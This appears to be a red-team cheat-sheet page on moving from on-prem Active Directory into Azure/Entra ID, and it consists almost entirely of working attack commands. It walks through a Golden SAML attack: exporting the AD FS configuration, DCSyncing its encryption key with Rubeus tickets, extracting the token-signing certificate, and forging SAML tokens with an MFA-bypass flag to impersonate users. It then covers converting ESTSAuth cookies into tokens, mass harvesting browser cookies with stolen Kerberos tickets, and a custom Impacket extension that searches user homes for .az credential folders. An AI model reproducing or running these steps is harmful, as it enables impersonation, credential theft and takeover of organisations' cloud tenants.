On-Prem → Cloud

Dumping AAD Connect Creds

Tools

Forging AD FS SAML Tokens (Golden SAML)

Install AADInternals v0.9.3:

PS > Install-Module -Name "AADInternals" -RequiredVersion "0.9.3" -Force
PS > Import-Module -Name "AADInternals" -RequiredVersion "0.9.3" -Force

Check if Azure is configured as a party trust:

PS > Install-WindowsFeature ADFS-Federation
PS > Import-Module ADFS
ADFS > Get-ADFSRelyingPartyTrust | select Identifier | fl

Get AD FS config:

AADInt > $ADFSConfig = Export-AADIntADFSConfiguration -Hash <ADFS_SVC_NT_HASH> -SID <ADFS_SVC_SID> -Server ADFS01.megacorp.local
PS > [xml]$xml=$ADFSConfig
PS > $group = $xml.ServiceSettingsData.PolicyStore.DkmSettings.Group
PS > $container = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
PS > $parent = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
PS > $base = "LDAP://CN=$group,$container,$parent"
PS > $base

Get private key object GUID:

PV3 > Get-DomainObject -LDAPFilter "(&(objectclass=contact)(!name=CryptoPolicy)(ThumbnailPhoto=*))" -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=megacorp,DC=local" | select objectGuid

Ensure you have enough privileges to DCSync:

Cmd > Rubeus.exe asktgt /user:DC01$ /domain:megacorp.local /dc:DC01.megacorp.local /aes256:<AES_KEY> /opsec /nowrap /ptt
Cmd > Rubeus.exe asktgs /ticket:<TICKET> /domain:megacorp.local /dc:DC01.megacorp.local /service:LDAP/DC01.megacorp.local /nowrap /ptt

DCSync the key:

We don't actually need clear-text creds to replicate the key if we've already imported a privileged TGT, so $Credentials (here, C:\Program Files\WindowsPowerShell\Modules\AADInternals\0.9.3\DRS_Utils.ps1) can be omitted.

AADInt > $ADFSKey = Export-AADIntADFSEncryptionKey -Server DC01.megacorp.local -ObjectGuid <GUID> -Credentials "dummy"
PS > [System.BitConverter]::ToString($ADFSKey)

Generate the token signing certificate:

AADInt > Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $ADFSKey
PS > ls ADFS_*

Get AD FS trust issuer as well as on-prem users' immutable cloud IDs:

ADFS > $Issuer = (Get-ADFSProperties).Identifier.OriginalString
PV3 > Get-DomainUser | select UserPrincipalname, @{Name="ImmutableId"; Expression={"$([Convert]::ToBase64String(([guid]$_.ObjectGuid).ToByteArray()))"}}

Generate forged SAML request-response for WS-Federation (SOAP-based) protocol interchange:

AADInt > $token = New-AADIntSAMLToken -ImmutableId <ID> -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer [-UPN [email protected]] [-ByPassMFA]
AADInt > New-WSFedResponse -SAMLToken $token

Generate forged SAML request-response for SAML 2.0 (XML-based) protocol interchange:

AADInt > $token = New-AADIntSAML2Token -ImmutableId <ID> -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer [-UPN [email protected]]
AADInt > $resp = New-AADIntSAMLPResponse -SAML2Token $token
AADInt > [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($resp))

Generate forged SAML request-response, impersonate and login:

AADInt > Open-AADIntOffice365Portal -TokenType WSFED/SAMLP -ImmutableId <BASE64_ID> -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer [-UPN [email protected]] [-ByPassMFA] [-Browser Chrome]

Refresh Token from ESTSAuth* Cookies

Automated with TokenTacticsV2:

PS > Get-AzureTokenFromESTSCookie -ESTSAuthCookie <COOKIE_VALUE>

Mass Cookies Harvesting

Collect with dploot and decrypt with a backup key (similar to HEKATOMB):

$ ls tickets/
SRV01.ccache   SRV02.ccache   PC01.ccache
$ for st in `ls tickets/`; do comp=`basename $st .ccache`; KRB5CCNAME="tickets/$st" proxychains4 dploot browser -d megacorp.local -no-pass -use-kcache "$comp.megacorp.local" -pvk ../key.pvk -show-cookies > "browsers_$comp.out"; done

Search for ESTSAUTHPERSISTENT cookies:

$ grep -nr --include '*.out' ESTSAUTHPERSISTENT -A3 | grep -e Creation -e Expires

Mass Hidden Directories Searching

Impacket's smbclient.py extension (searches for hidden directories in every user's home):

def do_hidden(self, args=None):
    hidden = []
    for item1 in self.smb.listPath(self.share, '\\Users\\*'):
        longname1 = item1.get_longname()
        if item1.is_directory() and longname1 not in ('.', '..'):
            dir0 = ntpath.join('\\Users', longname1)
            try:
                ls = self.smb.listPath(self.share, ntpath.join(dir0, '*'))
            except:
                continue
            else:
                for item2 in ls:
                    longname2 = item2.get_longname()
                    if item2.is_directory() and longname2 not in ('.', '..') and longname2.startswith('.'):
                        hidden.append((item2, ntpath.join(dir0, longname2)))
    result = ''
    for item, name in hidden:
        result += 'drw-rw-rw- '
        result += f'{datetime.fromtimestamp(item.get_mtime_epoch()).strftime("%Y/%m/%d %H:%M:%S"):>21} '
        result += '  '
        result += name
        result += '\n'
    print(result.strip())

Collect hidden directories:

$ ls tickets/
SRV01.ccache   SRV02.ccache   PC01.ccache
$ echo 'use c$\ninfo\nhidden' > cmd
$ for st in `ls tickets/`; do comp=`basename $st .ccache`; KRB5CCNAME="tickets/$st" proxychains4 smbclient.py -k -no-pass "$comp.megacorp.local" -inputfile cmd -outputfile "hidden_$comp.out"; done

Search for hidden directories that start with .az:

$ grep -nr --include '*.out' '\Users' | grep -i '\.az'

Last updated